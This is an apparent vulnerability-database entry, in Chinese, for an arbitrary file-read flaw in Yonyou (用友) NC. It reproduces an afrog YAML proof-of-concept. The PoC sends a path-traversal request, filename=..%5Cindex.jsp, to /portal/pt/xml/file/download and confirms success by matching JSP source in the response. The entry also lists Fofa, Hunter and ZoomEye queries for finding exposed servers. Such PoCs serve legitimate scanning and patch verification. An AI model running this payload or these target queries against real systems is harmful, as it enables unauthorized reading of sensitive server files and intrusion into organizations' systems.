yonyou-nc-download-fileread: 用友NC download文件存在任意文件读取漏洞

日期: 2025-09-01 | 影响软件: 用友NC | POC: 已公开

漏洞描述

用友NC的download文件存在任意文件读取漏洞，攻击者可以利用该漏洞读取服务器上的敏感文件。 Fofa: app="用友-UFIDA-NC" Hunter: web.title="YONYOU NC" ZoomEye: app:"Yonyou NC httpd"

PoC代码[已公开]

id: yonyou-nc-download-fileread

info:
  name: 用友NC download文件存在任意文件读取漏洞
  author: Y3y1ng
  severity: high
  verified: true
  description: |-
    用友NC的download文件存在任意文件读取漏洞，攻击者可以利用该漏洞读取服务器上的敏感文件。
    Fofa: app="用友-UFIDA-NC"
    Hunter: web.title="YONYOU NC"
    ZoomEye: app:"Yonyou NC httpd"
  reference:
    - https://mp.weixin.qq.com/s/oVRiOXEG9cxEtyE8q0UKZQ
  tags: yonyou,fileread
  created: 2023/12/04
rules:
  r0:
    request:
      method: GET
      path: /portal/pt/xml/file/download?pageId=login&filename=..%5Cindex.jsp
    expression: |
      response.status == 200 &&
      response.body.bcontains(b"response.addHeader") &&
      response.body.bcontains(b"request.getSession")
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/vulnerability/yonyou-nc-download-fileread.yaml

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